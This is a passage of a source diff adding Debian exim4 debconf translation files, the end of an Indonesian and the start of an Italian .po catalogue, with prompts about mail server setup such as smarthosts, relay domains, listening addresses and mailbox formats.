"" +"Alamat-alamat IP yang digunakan untuk menerima koneksi SMTP yang datang:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Silahkan masukkan daftar (dipisahkan dengan titik-koma) alamat IP. Daemon " +"penjejak SMTP Exim akan menggunakan semua alamat IP yang terdaftar di sini." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Jika dikosongkan, Exim akan menerima koneksi port SMTP pada semua perangkat " +"antarmuka jaringan yang ada." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Jika sistem ini hanya menerima surate langsung dari layanan lokal, sangat " +"dianjurkan untuk melarang sambungan dari luar ke server Exim. Layanan lokal " +"tersebut misalnya fetchmail atau program surat-e Anda (MUA) yang terhubung " +"ke host lokal. Sambungan dari luar tidak akan terjadi bila 127.0.0.1 " +"dimasukkan di sini. Ini akan mencegah Exim menerima sambungan dari antarmuka " +"jaringan publik. " + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Jaga jumlah permintaan DNS minimal (Dial-on-Demand)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Pada modus normal, Exim beroperasi menggunakan DNS saat dijalankan, saat " +"menerima atau mengirim pesan. Hal ini bertujuan untuk keperluan pencatatan " +"log dan untuk tetap menjaga agar jumlah nilai variabel yang telah ditentukan " +"sebelumnya di berkas konfigurasi tetap kecil." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Jika sistem ini tidak mempunyai akses server DNS permanen setiap saat " +"(misalkan: jika sistem ini menggunakan akses telepon menggunakan dial-on-" +"demand), hal ini dapat menghasilkan akibat yang tak diharapkan. Contohnya, " +"menjalankan Exim atau queue (bahkan tanpa adanya surate yang menunggu) dapat " +"mengakibatkan sambungan dialup yang mahal. " + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Pilihan ini sebaiknya dipilih jika sistem ini menggunakan 'Dial-on-Demand'. " +"Jika selalu terhubung ke internet, pilihan ini harus dimatikan." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Konfigurasi Server Surate" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Pecah berkas konfigurasi menjadi berkas yang kecil?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Paket Exim4 Debian dapat menggunakan 'konfigurasi terpadu', sebuah berkas " +"tunggal (/etc/exim4/exim4.conf.template) atau 'konfigurasi terpisah', tempat " +"berkas konfigurasi Exim yang sesungguhnya dipecah menjadi 50 berkas di dalam " +"direktori /etc/exim4/conf.d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Konfigurasi terpadu cocok untuk penyuntingan besar-besaran dan umumnya lebih " +"stabil, sedangkan konfigurasi terpisah lebih nyaman untuk penyuntingan kecil-" +"kecilan tetapi lebih rentan dan dapat mengacaukan sistem jika salah " +"konfigurasi. " + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Penjelasan lebih rinci tentang konfigurasi terpisah dan terpadu dapat " +"ditemukan berkas README khusus Debian di /usr/share/doc/exim4-base." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Sembunyikan nama surate lokal pada surate keluar?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Header surate yang dikirimkan ke luar dapat ditulis ulang agar terlihat " +"seperti dikirimkan dari sistem yang berbeda. Jika pilihan ini diambil, " +"'${mailname}', 'localhost', dan '${dc_other_hostnames}' di baris-baris From, " +"Reply-To, Sender dan Return-Path akan ditulis ulang. " + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "Format mbox di /var/mail" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Format Maildir di direktori home" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Metode pengiriman untuk surate lokal: " + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim dapat menyimpan surate lokal dalam format beragam. Yang paling banyak " +"digunakan adalah mbox dan Maildir. mbox menggunakan berkas tunggal untuk " +"menyimpan seluruh surat dalam direktori /var/mail/. Dengan Maildir, setiap " +"pesan tunggal disimpan dalam berkas terpisah di ~/Maildir/" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Catatan: kebanyakan program dalam Debian mengira metode pengiriman lokal " +"dalam bentuk mbox." + +#~ msgid "Overwrite existing /etc/aliases?" +#~ msgstr "Timpa isi berkas /etc/aliases yang telah ada?" + +#~ msgid "" +#~ "An /etc/aliases file was found on the system, but it does not redirect " +#~ "mail for root to a user account, which is strongly recommended." +#~ msgstr "" +#~ "Anda telah mempunyai berkas /etc/aliases, tetapi tidak mengalihkan surate " +#~ "untuk root ke pengguna biasa, yang sangat dianjurkan. " + +#~ msgid "" +#~ "Accepting this option will cause /etc/aliases to be overwritten, and the " +#~ "old file will be renamed to aliases.O." +#~ msgstr "" +#~ "Dengan menerima pilihan ini akan menyebabkan /etc/aliases ditimpa dan " +#~ "berkas lama akan dipindahkan ke aliases.O." + +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "Pindahkan surat-surat yang belum terkirim dari spool exim 3 ke exim4?" + +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Ada beberapa surat yang tak terkirim dalam direktori spool exim 3 (atau " +#~ "exim-tls 3): /var/spool/exim/input/." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Pilihan ini akan memindahkan pesan-pesan ini ke spool exim4 (/var/spool/" +#~ "exim4/input/) yang selanjutnya akan ditangani oleh exim4" + +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Hal ini hanya bekerja searah: Exim4 dapat menangani spool exim v3 tapi " +#~ "tidak sebaliknya. Jika tidak mengambil pilihan ini, pesan-pesan tersebut " +#~ "harus dipindahkan secara manual atau tidak akan pernah dikirimkan." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "" +#~ "Membiarkan ruas ini kosong berarti Exim tidak akan melakukan pengiriman " +#~ "lokal." + +#~ msgid "" +#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " +#~ "but not the other way round." +#~ msgstr "" +#~ "Hati-hati! Proses ini hanya dapat bekerja dalam satu-arah, exim4 dapat " +#~ "mengurusi spool milik exim(v3) tetapi bukan sebaliknya." + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "Pindahkan surate hanya jika anda tidak memiliki rencana untuk kembali ke " +#~ "exim(v3), sebaliknya, surate jangan dipindahkan sekarang tetapi akan " +#~ "dipindahkan secara manual setelah anda mengubah pengaturan surate anda." + +#~ msgid "" +#~ "If there are any more, enter them here, separated by semicolons. You may " +#~ "leave this blank if there are none." +#~ msgstr "" +#~ "Jika terdapat domain yang lain, silakan masukkan disini sekarang, " +#~ "dipisahkan dengan tanda titik koma (;). Kosongkan jika tidak ada." + +#~ msgid "" +#~ "Please enter here the domains for which this system will relay mail, for " +#~ "example as a fallback MX or mail gateway." +#~ msgstr "" +#~ "Silakan masukkan di sini nama domain yang akan diteruskan oleh sistem " +#~ "ini, misalnya sebagai MX cadangan atau gerbang surate." + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "Domain relai adalah domain yang dipersiapkan untuk menerima email dari " +#~ "mana saja di Internet. Jangan isikan domain lokal disini." + +#~ msgid "" +#~ "The domains entered here should be separated by semicolons. Wildcards may " +#~ "be used." +#~ msgstr "" +#~ "Domain yang anda masukkan disini harus dipisahkan oleh tanda titik koma " +#~ "(;). Karakter bintang (*) juga bisa digunakan." + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "Karena anda mengaktifkan fitur penyembunyian nama surat lokal bagi surat " +#~ "yang dikirimkan keluar, anda harus menentukan nama domain yang akan " +#~ "digunakan bagi surat dari para pengguna lokal; biasanya adalah komputer " +#~ "tempat anda menerima surat." + +#~ msgid "Where will your users read their mail?" +#~ msgstr "Di mana para pengguna anda akan membaca suratnya?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "Komputer yang menangani surat keluar bagi host ini (smarthost):" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "" +#~ "Masukkan nama host bagi mesin yang dijadikan sebagai pengirim surat " +#~ "keluar." + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "Aktifkan fitur ini jika anda menggunakan Dial-on-Demand; bila tidak, " +#~ "nonaktifkan saja." + +#~ msgid "Select the mail server configuration type that best fits your needs." +#~ msgstr "Pilih jenis konfigurasi server yang sesuai dengan kebutuhan anda." + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "" +#~ "Jika anda tidak yakin maka anda seharusnya jangan menggunakan berkas " +#~ "konfigurasi yang terpecah." + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "" +#~ "ubah secara manual dari konfigurasi Exim v3 yang dibuat dengan tangan" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "Konfigurasi Exim4 secara manual?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "Anda memberitahu bahwa anda telah mengutak-atik sendiri konfigurasi milik " +#~ "Exim 3. Untuk mengubahnya ke Exim 4, anda dapat menggunakan " +#~ "exim_convert4r4(8) setelah proses instalasi. Konsultasikan dengan /usr/" +#~ "share/doc/exim4-base/examples/example.conf.gz dan /usr/share/doc/exim4-" +#~ "base/README.Debian.gz!" + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "" +#~ "Sebelum sistem surate anda dikonfigurasi, maka sistem ini akan rusak dan " +#~ "tidak akan dapat digunakan." + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "'Nama surate' Anda adalah bagian alamat dari nama host yang akan " +#~ "ditampilkan pada pesan-pesan berita dan surat yang dikirimkan keluar " +#~ "(setelah nama pengguna dan tanda @) kecuali jika disembunyikan dengan " +#~ "menggunakan fitur penulisan ulang." + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "" +#~ "Silakan masukkan jaringan-jaringan lokal yang suratnya akan direlai oleh " +#~ "mesin ini." + +#~ msgid "" +#~ "This should include a list of all machines that will use us as a " +#~ "smarthost." +#~ msgstr "" +#~ "Di dalamnya termasuk sebuah daftar yang berisikan semua komputer yang " +#~ "menggunakan sistem ini sebagai smarthost" + +#~ msgid "" +#~ "You need to double the colons in IPv6 addresses (e.g. " +#~ "5f03::1200::836f::::/48)" +#~ msgstr "" +#~ "Anda perlu menuliskan tanda titik dua sebanyak dua kali bagi alamat-" +#~ "alamat IPv6 (misalnya 5f03::1200::836f::::/48)" + +#~ msgid "" +#~ "Enter a colon-separated list of IP-addresses to listen on. You need to " +#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." +#~ msgstr "" +#~ "Masukkan alamat-alamat IP yang akan menerima koneksi, dengan dipisahkan " +#~ "oleh tanda titik dua (:). Tanda titik dua perlu ditulis dua kali jika " +#~ "anda menggunakan alamat IPv6 (misalnya 5f03::1200::836f::::)." + +#~ msgid "Configuring Exim v4 (exim4-config)" +#~ msgstr "Mengonfigurasi Exim v4 (exim4-config)" diff --git a/debian/po/it.po b/debian/po/it.po new file mode 100644 index 0000000..4175618 --- /dev/null +++ b/debian/po/it.po @@ -0,0 +1,628 @@ +# Italian messages for exim4 (debconf templates). +# Copyright © 2004 Software in the Public Interest, Inc. +# Danilo Piazzalunga <danilopiazza@libero.it>, 2004. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4 4.63-7\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-07-15 13:47+0200\n" +"Last-Translator: Giuseppe Sacco <eppesuig@debian.org>\n" +"Language-Team: Italian <tp@lists.linux.it>\n" +"Language: it\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=2; plural=(n != 1);\n" +"X-Generator: KBabel 1.3.1\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Cancellare i messaggi non consegnati dalla directory di «spool»?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Ci sono dei messaggi nella directory di «spool» di Exim, /var/spool/exim4/" +"input che non sono stati ancora consegnati. Rimuovendo Exim i messaggi " +"verranno mantenuti lì sinché Exim non verrà reinstallato." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Se questa opzione non è selezionata, la directory di «spool» viene " +"conservata in modo che i messaggi possano essere consegnati in futuro, dopo " +"una nuova installazione di Exim." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Riconfigurare exim4-config anziché questo pacchetto" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 ha la sua configurazione in un pacchetto dedicato, exim4-config. Per " +"riconfigurare Exim4 usare «dpkg-reconfigure exim4-config»." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "sito internet; posta inviata e ricevuta direttamente con SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "posta inviata tramite uno «smarthost»; ricevuta via SMTP o fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "posta inviata tramite uno «smarthost»; niente posta locale" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "solo consegna locale; non in rete" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "nessuna configurazione per il momento" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Tipo di configurazione del sistema di posta:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Selezionare il tipo di configurazione che si adatta meglio alle proprie " +"esigenze." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"I sistemi con un indirizzo IP dinamico, compresi i sistemi dialup, " +"andrebbero solitamente configurati per inviare la posta in uscita a un'altra " +"macchina, chiamata «smarthost», che si occupi della consegna perché molti " +"sistemi in Internet bloccano i messaggi in arrivo da macchine con IP " +"dinamico come protezione dallo SPAM." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Un sistema con indirizzo IP dinamico può ricevere la propria posta, " +"altrimenti la posta locale può essere completamente disabilitata (eccetto i " +"messaggi per root e postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Lasciare il sistema di posta non configurato?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Fino a quando non viene configurato, il sistema di posta non funziona e non " +"può essere usato. Naturalmente è possibile configurarlo in un secondo " +"momento, manualmente oppure tramite «dpkg-reconfigure exim4-config» da root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Mail name del sistema:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"Il «mail name» è il nome di dominio utilizzato per dare un contesto agli " +"indirizzi email che ne sono privi." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Questo nome verrà usato anche da altri programmi. Dovrebbe essere il nome " +"completo del dominio (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Per esempio, se un indirizzo email sulla macchina locale è qualcosa@dominio." +"it, allora il valore corretto per questa opzione è dominio.it." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Questo nome non comparirà nel campo From: dei messaggi in uscita se si " +"abilita la riscrittura." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Altre destinazioni per conto delle quali accettare posta:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Inserire un elenco di domini separati da punti e virgola per i quali questo " +"sistema deve considerare se stesso come destinazione. In genere questi sono " +"chiamati domini locali. Il nome host locale (${fqdn}) e «localhost» sono già " +"inclusi." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Nella configurazione predefinita, tutti i domini vengono trattati allo " +"stesso modo. Se sia a.esempio che b.esempio sono domini locali, acc@a." +"esempio e acc@b.esempio verranno consegnati alla stessa destinazione. Se si " +"desidera altrimenti, è necessario modificare i file di configurazione in " +"seguito." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Domini per i quali fare il «relay»:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Inserire un elenco separato da punti e virgola di domini destinatari per i " +"quali questa macchina farà da «relay», per esempio come MX di scorta o come " +"gateway. Questo vuol dire che il sistema accetterà messaggi per questi " +"domini da qualsiasi parte di Internet, e poi cercherà di consegnarli con le " +"regole locali." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Non inserire qui domini locali. È possibile usare i caratteri jolly." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Sistemi per i quali fare il «relay»:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Inserire un elenco separato da punti e virgola di intervalli di indirizzi IP " +"per i quali questo sistema farà da «relay» ovvero da «smarthost»." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Usare il formato standard indirizzo/lunghezza (ad esempio «194.222.242.0/24» " +"o «5f03:1200:836f::/48»)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Se questa macchina non dovrà fare da «smarthost» per nessun'altra, lasciare " +"il campo vuoto." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Nome di dominio visibile per gli utenti locali:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"È stata abilitata l'opzione per nascondere il nome locale nei messaggi in " +"uscita. Diventa quindi necessario specificare un nome di dominio che questa " +"macchina utilizzerà negli indirizzi di mittenti di questa macchina." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "Indirizzo IP o hostname per lo «smarthost» in uscita:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Inserire l'indirizzo IP o il nome del server di posta che dovrà essere " +"utilizzato come «smarthost» in uscita. Se questo accetta la posta solo su " +"una porta diversa dalla TCP/25, aggiungere due punti e il numero della porta " +"(esempio smarthost.esempio::587 o 192.168.254.245::2525). I due punti negli " +"indirizzi IPv6 devono essere raddoppiati." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Se lo «smarthost» richiede l'autenticazione, fare riferimento ai README " +"specifici per Debian in /usr/share/doc/exim4-base per le indicazioni su come " +"impostare l'autenticazione SMTP." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Destinatari della posta di root e postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"I messaggi per «postmaster», «root» e altri account di sistema devono essere " +"rediretti all'account utente dell'amministratore di sistema." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Se si lascia il campo vuoto, la posta viene salvata in /var/mail/mail, che " +"non è raccomandato." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"I messaggi per postmaster dovrebbero essere letti sul sistema a cui sono " +"destinati e non inoltrati altrove; pertanto, almeno uno degli utenti scelti " +"dovrebbe ricevere la propria posta su questo sistema. Anteporre «real-» al " +"nome utente per obbligare il sistema a effettuare la consegna localmente." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Più nomi utente vanno inseriti separati da spazi." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "Indirizzi IP sui quali attendere connessioni SMTP in ingresso:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Inserire un elenco separato da punti e virgola di indirizzi IP. Il demone " +"Exim SMTP ascolterà su tutti gli indirizzi IP qui specificati." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Se non viene specificato alcun valore, Exim si pone in ascolto su tutte le " +"interfacce di rete disponibili." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Se questo sistema riceve posta solo da servizi locali (e non altri sistemi), " +"è preferibile proibire connessioni dall'esterno verso Exim. Questi servizi " +"includono programmi di posta elettronica (MUA) che contattano solo " +"localhost, oppure fetchmail. Se si inserisce «127.0.0.1» si rende " +"impossibile la connessione dall'esterno, disabilitando quindi l'ascolto su " +"interfacce di rete pubbliche." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal 